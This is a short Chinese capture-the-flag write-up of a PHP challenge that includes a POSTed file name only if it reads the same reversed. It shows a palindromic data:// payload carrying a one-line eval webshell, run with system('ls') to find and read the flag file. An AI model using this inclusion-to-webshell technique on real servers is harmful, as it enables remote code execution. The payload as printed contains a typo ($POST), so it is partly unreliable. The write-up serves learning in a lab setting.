题目代码如下:
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
if(isset($file)){
if(strrev($file)==$file){
include $file;
}
}
代码分析:
isset:
如果指定变量存在且不为 NULL,则返回 TRUE,否则返回 FALSE。
strrev:
反转字符串
整段代码的意思是:
以post的形式传入一个file参数,如果传入的file参数存在且不为 NULL,并且反转整个file参数的字符串,如果反转之后的字符串和原先的一致,那么就包含这个file参数。
直接使用data协议
data协议使用方法:
http://127.0.0.1/code/1.php?file=data://text/plain,<?php phpinfo()?>
这里我们可以吧上面的示例代码中的phpinfo改成一句话木马
构造如下:
file=data://text/plain,<?php eval($POST[cmd]);?>>?;)]dmc[TSOP$(lave php?<,nialp/txet//:atad&cmd=system("ls");
post过去发现成功执行命令
接下来就是找flag文件
在根目录下发现一个f1agaaa的文件
查看文件
成功获取到flag
Comments NOTHING